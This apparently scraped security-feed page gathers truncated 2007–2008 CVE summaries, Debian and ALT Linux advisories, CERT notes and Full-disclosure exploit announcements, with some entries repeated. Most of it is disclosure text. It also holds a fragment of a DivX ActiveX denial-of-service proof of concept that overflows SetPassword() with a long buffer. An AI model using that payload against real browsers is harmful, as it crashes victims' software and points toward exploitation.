CVE-2007-6618

JIRA Enterprise Edition prior to 3.12.1 is affected by CVE-2007-6618: remote attackers can delete another user’s shared filter by supplying a modified filter ID. The publicly provided documents confirm the affected product version range and the underlying flaw being insufficient access control on...

CVE-2007-6611

Cross-site scripting XSS vulnerability in view.php in Mantis before 1.1.0 allows remote attackers to inject arbitrary web script or HTML via a filename, related to bugreport.php...

CVE-2007-6611

Cross-site scripting XSS vulnerability in view.php in Mantis before 1.1.0 allows remote attackers to inject arbitrary web script or HTML via a filename, related to bugreport.php...

CVE-2007-6611

Cross-site scripting XSS vulnerability in view.php in Mantis before 1.1.0 allows remote attackers to inject arbitrary web script or HTML via a filename, related to bugreport.php...

CVE-2007-6612

Vulnerability: Mongrel contains a directory traversal flaw in DirHandler (lib/mongrel/handlers.rb) affecting Mongrel 1.0.4 and 1.1.x prior to 1.1.3. An HTTP request with double-encoded sequences (.%252e) can cause reading of arbitrary files. MITRE/Exploit specifics are not provided in the sources...

CVE-2007-6613

CVE-2007-6613 is a stack-based buffer overflow in libcdio (libcdio 0.79 and earlier) within the print_iso9660_recurse function of iso-info.c. The overflow can be triggered by a disk or image containing a long Joliet filename, allowing a context-dependent attacker to cause a denial of service (cor...

CVE-2007-6611

CVE-2007-6611 affects MantisBT prior to 1.1.0. The vulnerability is an XSS in view.php via the uploaded filename in bug_report.php, exploitable by authenticated users to inject arbitrary HTML/JS in the browser. Affected product: MantisBT; root cause: insufficient sanitization of the uploaded file...

[SECURITY] [DSA 1447-1] New tomcat5.5 packages fix several vulnerabilities

------------------------------------------------------------------------ Debian Security Advisory DSA-1447-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff January 03, 2008 http://www.debian.org/security/faq -...

CVE-2007-6610

unp 1.0.12, and other versions before 1.0.14, does not properly escape file names, which might allow context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename argument. NOTE: this might only be a vulnerability when unp is invoked by a third party product...

CVE-2007-6610

CVE-2007-6610 affects unp up to 1.0.12 and older than 1.0.14. The vulnerability arises because unp does not properly escape file names before passing them to shell calls, enabling a context-dependent attacker to execute arbitrary shell commands via crafted filenames (potentially when invoked by a...

[SECURITY] [DSA 1443-1] New tcpreen packages fix denial of service

------------------------------------------------------------------------ Debian Security Advisory DSA-1443-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff January 03, 2008 http://www.debian.org/security/faq -...

Lotus Notes WPD attachment viewer buffer overflow

Added: 01/03/2008 CVE: CVE-2007-5910 BID: 26175 OSVDB: 40783 Background Lotus Notes is the client for Lotus Domino servers. Problem A buffer overflow in the KeyView Viewer included in Lotus Notes allows command execution when a user views a specially crafted WordPerfect WPD attachment. Resolution...

DivX Player 6.6.0 ActiveX SetPassword() Denial of Service PoC

No description provided by source. object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;" /object script function crash var buff = ''; fori=0;i=500;i++ buff+="AAAAAAAAAA"; object = document.getElementById"divx"; object.SetPasswordbuff; /script pre h3uDivX...

OpenSSL FIPS Object Module fails to properly generate random seeds

Overview The OpenSSL FIPS Module fails to perform auto-seeding, which may allow an attacker to predict pseudo-randomly generated data. Description OpenSSL is a toolkit that provides SSL and TLS protocols as well as a general purpose cryptography library. The OpenSSL FIPS Object Module provides an...

Jetty fails to properly process URLs that contain double / characters

Overview The Jetty web server contains a vulnerability that may allow an attacker to access private files or directories. Description Jetty is a web server that is implemented in Java. Jetty contains a vulnerability in the way it processes URLs with multiple "/" slash characters. See the Jetty...

[Full-disclosure] IBM Domino Web Access Upload Module inotes6w.dll SEH Overwrite Exploit

This one is the same offset as dwa7w and the same class id as inotes6. Basically inotes6 and inotes6w share the same class id, except that inotes6w is unicode. dwa7w is unicode and has a different class id. Code is inline, I would attach it except for the fact that I set off way to many av scanne...

[Full-disclosure] IBM Domino Web Access inotes6.dll SEH Overwrite Exploit

My first attempt at an SEH overwrite exploit. Anyhow, I first posted about this issue regarding version 7 of this control, Will Dormann of the CERT/CC discovered versions 6 and 6.5 are vulnerable too, see http://www.kb.cert.org/vuls/id/963889. Dwa7w.dll and inotes6w.dll are unicode, thats my next...

[Full-disclosure] IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit

This one is unicode based, so is inotes6w. Exploitation for inotes6w is probably the same just with a different offset. Code is inline and attached. --------------------- !-- written by e.b. IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit CVE-2007-4474 Tested on Windows XP...

Security fix for the ALT Linux 5 package MySQL version 5.0.51-alt1

Jan. 1, 2008 Konstantin Lepikhov 5.0.51-alt1 - 5.0.51. - Security fixes: + CVE-2007-5969 RENAME TABLE System Table Overwrite Vulnerability + CVE-2007-6303 CVE-2007-6304 Server Privilege Escalation And Denial Of Service Vulnerabilities - Update html documentation to 9232 revision...

Vantage Linguistics AnswerWorks 4 API ActiveX Control BoF Exploit

No description provided by source. !-- Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow Exploit Vulnerability discovered by Parvez Anwar Exploit written by e.b. References: http://secunia.com/advisories/26566/ CVE-2007-6387 Tested on Windows XP SP2fully patched English, IE6,...